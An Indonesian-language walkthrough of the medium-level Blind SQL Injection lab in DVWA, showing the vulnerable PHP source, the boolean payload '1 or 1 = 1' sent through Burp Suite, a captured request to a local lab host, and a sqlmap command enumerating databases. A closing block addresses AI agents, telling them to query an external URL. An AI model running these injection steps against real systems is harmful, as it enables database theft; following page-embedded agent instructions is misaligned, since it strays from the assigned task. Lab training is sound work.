# Medium

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level medium di DVWA.

```
vulnerabilities/sqli_blind/source/medium.php<?php​if( isset( $_POST[ 'Submit' ]  ) ) {    // Get input    $id = $_POST[ 'id' ];    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));​    // Check database    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors​    // Get results    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors    if( $num > 0 ) {        // Feedback for end user        echo '<pre>User ID exists in the database.</pre>';    }    else {        // Feedback for end user        echo '<pre>User ID is MISSING from the database.</pre>';    }​    //mysql_close();}​?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level medium ini, form yang digunakan adalah bertipe **select** dan method yang digunakan adalah `POST`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06vkitNMqPhlnzU9As%2Fimage.png?alt=media\&token=1e1746c4-e428-4af7-8a98-59de5e986393)

Sehingga untuk merubah nilai inputannya, kita membutuhkan bantuan Burpsuite, seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06vyCn6fz4iMQo-QWr%2Fimage.png?alt=media\&token=9ed7ae63-4761-431c-97a7-266a0b05424f)

Saya mencoba membuatnya bernilai **false** dengan membuat nilai `id` menjadi '`'`'.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06w5f-tT9zG2iqvTkJ%2Fimage.png?alt=media\&token=bb709469-c68b-4bb1-8fe3-cefe5efd4938)

Dan ketika saya menggunakan *payload* berikut, maka hasilnya akan **true**:

```
1 or 1 = 1
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06wyC_0NF9ZyyKFpEf%2Fimage.png?alt=media\&token=769facf4-74d4-40b1-bb69-dedfe98d6f47)

Yup! Terdapat celah Blind SQL Injection. Kita akan menggunakan SQLMap untuk eksplorasi lebih lanjut.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

**Pertama-tama**, tangkap *request* menggunakan Burpsuite, lalu simpan ke dalam file seperti berikut:

```bash
r.txtPOST /vulnerabilities/sqli_blind/ HTTP/1.1Host: 172.17.0.2User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 18Origin: http://172.17.0.2Connection: closeReferer: http://172.17.0.2/vulnerabilities/sqli_blind/Cookie: lang=en-US; PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=mediumUpgrade-Insecure-Requests: 1i_like_gitea: 11session​id=1&Submit=Submit
```

Selanjutnya, jalankan SQLMap seperti berikut:

```bash
sqlmap -r r.txt --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06xi79Fa7jU0DwF9cI%2Fimage.png?alt=media\&token=9eec3df3-a933-4774-ac36-e6202a22b9fb)

Dan hasilnya terlihat bahwa terdapat 2 database yang tersedia.

Happy Hacking! 🍻


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/sql-injection/blind/medium.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
